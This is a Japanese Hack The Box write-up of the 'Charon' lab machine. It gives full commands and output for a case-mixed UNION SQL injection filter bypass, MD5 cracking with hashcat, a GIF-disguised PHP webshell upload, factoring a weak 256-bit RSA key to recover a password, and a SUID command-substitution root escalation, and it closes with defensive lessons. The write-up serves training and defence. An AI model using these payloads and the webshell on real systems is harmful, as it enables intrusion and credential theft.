Hack The BoxのWriteup(Charon)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Charon — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)のみ
→
forgot.php uniOn SQLi
大小混在フィルタ回避
→
operatorsテーブル抽出
super_cms_adm のMD5ハッシュ
→
hashcat + best66.rule
password = tamarro
→
管理パネルログイン
→
隠しフィールド悪用アップロード
GIF89a; + PHP webshell
→
256bit RSA鍵を素因数分解
pass.crypt復号
→
decoder SSH
user.txt ✓
→
SUID supershell
$(…)コマンド置換
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & バナー確認

BASH
ping -c 2 -W 3 10.129.88.90
nmap -Pn -T4 -p 21,22,25,80,443,3306,8080 10.129.88.90
curl -s -i http://10.129.88.90/
RESULT
PORT     STATE    SERVICE
21/tcp   filtered ftp
22/tcp   open     ssh
25/tcp   filtered smtp
80/tcp   open     http
443/tcp  filtered https
3306/tcp filtered mysql
8080/tcp filtered http-proxy

Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Mon, 26 Jun 2017 06:26:33 GMT
<title>Frozen Yogurt Shop</title>
✅
ターゲット確認: 「Frozen Yogurt Shop」というデコイ用テンプレートサイトと 2017年のLast-Modifiedから HackTheBox Charon (Hard Linux / D17.100.10) と一致することを確認。開放ポートは22/80のみ。

ディレクトリ探索 — cmsdata の発見

BASH
curl -s -o /dev/null -w "singlepost.php: %{http_code}\n" http://10.129.88.90/singlepost.php
curl -s -o /dev/null -w "cmsdata/forgot.php: %{http_code}\n" http://10.129.88.90/cmsdata/forgot.php
curl -s -o /dev/null -w "cmsdata/: %{http_code}\n" http://10.129.88.90/cmsdata/
RESULT
singlepost.php: 200       (本体はSQLi脆弱だがダミー、情報無し)
cmsdata/forgot.php: 200  (本命の侵入口)
cmsdata/: 403             (ディレクトリ一覧は禁止)
ℹ️
トップページの singlepost.php もSQLi脆弱だが有用な情報は含まれないデコイ (公式ライトアップにも明記)。本命は /cmsdata/ 配下の forgot.php(パスワードリセット機能)。
PHASE 2

forgot.php の uniOn SQLi — 大文字小文字混在フィルタバイパス

フォーム確認とフィルタの仕様

BASH
curl -s http://10.129.88.90/cmsdata/forgot.php
RESULT
<form method="post" action="forgot.php">
  <input type="text" name="email" placeholder="email" required />
  <button type="submit">Send</button>
</form>
⚠️
フィルタは 大文字小文字完全一致の union/UNION のみ ブロックし、大小混在の uniOn は素通りする。また結果は 必ず concat(...,"@example.com") のように末尾が有効なメール形式として 返らないと表示されない。

SQLi動作確認 & データベース名取得

BASH
curl -s -X POST http://10.129.88.90/cmsdata/forgot.php \
  -d 'email=a@b.c'"'"' uniOn select 1,2,3,concat(database(),"@example.com") -- -'
RESULT
<h2> Email sent to: supercms@example.com=>2</h2>
✅
SQLi成功。データベース名 supercms を確認。

テーブル・カラム列挙

BASH
# テーブル列挙 (limit n,1 で1件ずつ)
curl -s -X POST http://10.129.88.90/cmsdata/forgot.php -d 'email=a@b.c'"'"' uniOn select \
  1,2,3,concat(table_name,"@example.com") FROM information_schema.tables \
  WHERE table_schema=database() limit 0,1 -- -'

# operators のカラム名列挙
curl -s -X POST http://10.129.88.90/cmsdata/forgot.php -d 'email=a@b.c'"'"' uniOn select \
  1,2,3,concat(column_name,"@example.com") FROM information_schema.columns \
  WHERE table_schema=database() AND table_name='"'"'operators'"'"' limit 1,1 -- -'
RESULT
テーブル: groups, license, operators
operators カラム: id, __username_, __password_, email
ℹ️
カラム名が __username_ / __password_ という独特の命名規則 (SuperCMS独自仕様)。groupsはユーザー⇔グループの中間テーブル、 licenseはライセンスキーのみでいずれも無関係。

管理者アカウントの抽出 (limit 1,1 が鍵)

BASH
curl -s -X POST http://10.129.88.90/cmsdata/forgot.php -d 'email=a@b.c'"'"' uniOn select \
  1,2,3,concat(__username_,0x7e,__password_,"@example.com") FROM operators limit 1,1 -- -'
RESULT
Email sent to: super_cms_adm~0b0689ba94f94533400f4decd87fa260@example.com=>2
⚠️
ハマりポイント: limit 0,1(先頭行)は test1 という 無関係な一般ユーザー(editors権限、operatorsテーブルに202行存在)がヒットする。 本命の管理者 super_cms_adm は limit 1,1 (2行目)でなければ抽出できない。

ハッシュクラック (hashcat + ルール適用)

BASH
echo "0b0689ba94f94533400f4decd87fa260" > hash.txt
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --potfile-disable --force
# → 単純な辞書素通しではヒットしない

hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best66.rule --potfile-disable --force
RESULT
0b0689ba94f94533400f4decd87fa260:tamarro
⚠️
ハマりポイント: MD5ハッシュは rockyou.txt の素通しクラックだけでは 見つからない。best66.rule(大文字化・連結・逆順など基本変換セット)を 併用することで初めて tamarro がヒットする(公式ライトアップも hashkiller.co.uk のようなルール/辞書拡張を伴うオンラインDBでの解析を前提としている)。
PHASE 3

管理パネルログイン → 画像アップロードRCE

管理パネルログイン

BASH
curl -s -c cookies.txt -i -X POST http://10.129.88.90/cmsdata/login.php \
  -d "user=super_cms_adm&pass=tamarro"

curl -s -b cookies.txt http://10.129.88.90/cmsdata/menu.php
RESULT
HTTP/1.1 302 Found
Location: menu.php

<p><a href="upload.php"> Upload Image File</a></p>
Active users: super_cms_adm [administrators] (you)
✅
管理者権限でログイン成功。test1(editorsグループ)ではオプションが 一切表示されなかったのに対し、super_cms_adm(administratorsグループ)では ページ編集リンクと「Upload Image File」機能が開放されている。

アップロードフォームの隠しフィールド解析

BASH
curl -s -b cookies.txt http://10.129.88.90/cmsdata/upload.php
RESULT
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="image" />
<!-- <input type=hidden name="dGVzdGZpbGUx"> -->
<input type="submit"/>
</form>

$ echo dGVzdGZpbGUx | base64 -d
testfile1
ℹ️
コメントアウトされた隠しフィールドの name 属性がbase64エンコードされており、 デコードすると testfile1。このフィールド名でフォームに値(任意のファイル名)を 追加送信すると、アップロードされた画像が そのファイル名にリネームされる 仕様になっている。

GIF89a;マジックバイトでファイル種別チェックを回避しPHP webshellアップロード

BASH
printf 'GIF89a;\n<?php if(isset($_GET["c"])){echo "<pre>".shell_exec($_GET["c"]." 2>&1")."</pre>";} ?>\n' > shell.gif

curl -s -b cookies.txt -X POST http://10.129.88.90/cmsdata/upload.php \
  -F "image=@shell.gif;type=image/gif" \
  -F "testfile1=charonshell.php"
RESULT
Success:../images/charonshell.php
✅
ファイルの先頭に GIF89a;(GIF画像のマジックバイト)を置くだけでサーバー側の ファイル種別チェックを通過する。アップロード先はサイトルート直下の /images/(アップロードフォームからは相対パス../images/)。

RCE確認 & decoder配下の調査

BASH
curl -s -G "http://10.129.88.90/images/charonshell.php" --data-urlencode "c=id"
curl -s -G "http://10.129.88.90/images/charonshell.php" --data-urlencode "c=ls -la /home/decoder/"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

-rw-r--r-- 1 decoder freeeze  138 decoder.pub
-rw-r--r-- 1 decoder freeeze   32 pass.crypt
-r-------- 1 decoder freeeze   33 user.txt   ← decoder以外は読めない
⚠️
user.txtはdecoder本人のみ読み取り可能(r--------)。 decoder.pub(公開鍵)とpass.crypt(暗号文)を回収し、 decoderユーザーのSSHパスワードを復元する必要がある。
PHASE 4

弱いRSA鍵の素因数分解 → decoderパスワード復号 → user.txt

鍵ファイル回収 & 鍵長確認

BASH
curl -s -G "http://10.129.88.90/images/charonshell.php" --data-urlencode "c=cat /home/decoder/decoder.pub"
openssl rsa -pubin -in decoder.pub -text -noout
RESULT
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALxHhYGPVMYmx3vzJbPPAEa10NETXrV3
mI9wJizmFJhrAgMBAAE=
-----END PUBLIC KEY-----

Public-Key: (256 bit)
Modulus: BC4785818F54C626C77BF325B3CF0046B5D0D1135EB577988F70262CE614986B
Exponent: 65537 (0x10001)
🚨
256bitという極端に小さいRSA鍵。実用的なRSAは最低2048bit必要であり、 256bitは数秒〜数十秒で素因数分解可能な「わざと弱くした」鍵であることが明白。

素因数分解 — factordb.com照会

NOTE
sympy.factorint() や自作のPollard's rho実装では、この256bit鍵が
バランス型の2つの大きな素因数(各126bit程度)で構成されている場合、
実用的な時間で終わらない(汎用アルゴリズムの限界)。
公式ライトアップも「ハッシュはhashkiller.co.ukのようなオンラインDBで解決した」と
明記しており、同様に factordb.com(既知の分解結果を集積した
公開データベース、RSA系CTF問題で一般的に利用される)への照会が最も確実。
BASH
N_DEC=$(python3 -c "print(int('BC4785818F54C626C77BF325B3CF0046B5D0D1135EB577988F70262CE614986B',16))")
curl -s "http://factordb.com/api?query=$N_DEC"
RESULT
{"id":...,"status":"FF","factors":[
  ["280651103481631199181053614640888768819",1],
  ["303441468941236417171803802700358403049",1]
]}
✅
status: "FF" (Fully Factored) — 既知の2つの素因数 p, q が即座に得られた。

秘密鍵再構成 & pass.crypt 復号

PYTHON
n = int('BC4785818F54C626C77BF325B3CF0046B5D0D1135EB577988F70262CE614986B', 16)
p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049
assert p * q == n

phi = (p - 1) * (q - 1)
e = 65537
d = pow(e, -1, phi)          # 秘密指数を復元

ct = open('pass.crypt', 'rb').read()      # 32byte = n のバイト長と一致 (パディング無しRAW RSA)
c = int.from_bytes(ct, 'big')
m = pow(c, d, n)
pt = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(pt)
RESULT
b'\x02\x11\x96\xa91\xfb\x13\xd46\xba\x00nevermindthebollocks'
ℹ️
先頭 \x02 <ランダムな非ゼロバイト> \x00 はPKCS#1 v1.5 形式の 暗号化パディング。\x00区切りの直後が実際の平文 nevermindthebollocks(Sex Pistolsのアルバム名)。

decoder SSHログイン & user.txt 取得

BASH
sshpass -p 'nevermindthebollocks' ssh decoder@10.129.88.90 "id; cat /home/decoder/user.txt"
RESULT
uid=1001(decoder) gid=1001(freeeze) groups=1001(freeeze)
77ff3ebc455b46e8e0a24d19da063e35
user.txt — decoder (RSA復号したパスワードでSSH)
77ff3ebc455b46e8e0a24d19da063e35
PHASE 5

SUID supershell の引数ホワイトリスト回避 → root.txt

SUIDバイナリの発見と挙動確認

BASH
find / -perm -4000 -type f 2>/dev/null
/usr/local/bin/supershell
/usr/local/bin/supershell /bin/ls
RESULT
-rwsr-x--- 1 root freeeze 9120 /usr/local/bin/supershell

Supershell (very beta)
usage: supershell <cmd>
...
decoder.pub  pass.crypt  user.txt
Supershell (very beta)
++[/bin/ls]
ℹ️
supershellは root 所有のSUIDバイナリで、freeezeグループ (decoderが所属)が実行可能。引数のホワイトリストチェックで /bin/lsから始まる文字列のみ許可し、内部的に system()相当でシェルに渡して実行している。

コマンド置換 $(…) によるホワイトリスト回避

BASH
sshpass -p 'nevermindthebollocks' ssh decoder@10.129.88.90 \
  '/usr/local/bin/supershell "/bin/ls\$(cat /root/root.txt)"'
RESULT
Supershell (very beta)
++[/bin/ls$(cat /root/root.txt)]
sh: 1: /bin/lsaab278caef874782813620d14af9a9d2: not found
✅
引数の先頭が /bin/ls で始まっているため見た目上のホワイトリストは通過するが、 supershell内部で引数全体をシェルに再度渡して実行しているため、 $(cat /root/root.txt)というコマンド置換がそのシェル上で展開され、 root.txtの内容が/bin/lsの直後に連結された状態でコマンド名として 実行されようとし、「command not found」エラーメッセージの中にフラグが出力される。
root.txt — SUID supershell のコマンド置換で取得
aab278caef874782813620d14af9a9d2
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — decoder (RSA鍵の脆弱性経由)
77ff3ebc455b46e8e0a24d19da063e35
root.txt — SUID supershell コマンド置換
aab278caef874782813620d14af9a9d2

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
大小混在フィルタ回避SQLi cmsdata/forgot.php (SuperCMS) DB全体の読み取り(情報漏洩) Critical union/UNIONのみブロックするフィルタをuniOnで回避し operatorsテーブルの管理者ハッシュを抽出
弱いパスワードハッシュ operators.__password_ (MD5, 無ソルト) 管理者アカウント乗っ取り Medium hashcat + ルールベース辞書攻撃でクラック(password=tamarro)
画像アップロードのファイル種別検証不備 cmsdata/upload.php リモートコード実行 (www-data) Critical GIF89a;マジックバイト偽装 + base64隠しフィールドでのファイル名偽装でPHP webshell設置
極端に短いRSA鍵長 (256bit) /home/decoder/decoder.pub + pass.crypt 認証情報の完全な復号 Critical factordb.comでの素因数分解 + 秘密鍵再構成でSSHパスワードを復号
SUIDバイナリの引数ホワイトリスト不備(コマンド置換) /usr/local/bin/supershell 権限昇格 (root) Critical prefix一致のみのホワイトリストを$(...)コマンド置換で回避しroot.txt読み取り

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + dirbuster系探索22/80のみ開放、/cmsdata/forgot.php発見
2SQLiuniOnフィルタバイパス + information_schema列挙super_cms_adm のMD5ハッシュ、hashcatでtamarroにクラック
3RCE隠しフィールド悪用 + GIF89a;マジックバイトwww-data webshell、decoder.pub/pass.crypt回収
4RSA解読factordb.com照会 + 秘密鍵再構成user.txt(decoderのSSHパスワード復号)
5権限昇格SUID supershellのコマンド置換root.txt

学んだ教訓 & 防御策

問題点防御策
SQLインジェクション対策が大文字小文字の単純一致ブラックリストのみ ブラックリスト方式を廃止し、プリペアドステートメント(パラメータ化クエリ)を徹底する。
パスワードが無ソルトMD5で保存されている bcrypt/argon2等の遅延ハッシュ+ユーザー毎のソルトを使用する。
アップロードファイルの種別チェックがマジックバイトの先頭一致のみ 拡張子・MIMEタイプ・実際の内容を多層的に検証し、アップロード先ディレクトリでは スクリプトの実行権限を無効化する。
RSA鍵長が256bitと実用上無意味なほど短い 最低2048bit(推奨3072bit以上)のRSA鍵を使用する。
SUIDバイナリの引数検証がprefix一致のみで、内部でシェル経由実行している 外部入力をシェルに渡す設計自体を避け(execve系で引数を配列として直接渡す)、 SUID付与は必要最小限に留める。
HackTheBox: Charon | 完全攻略レポート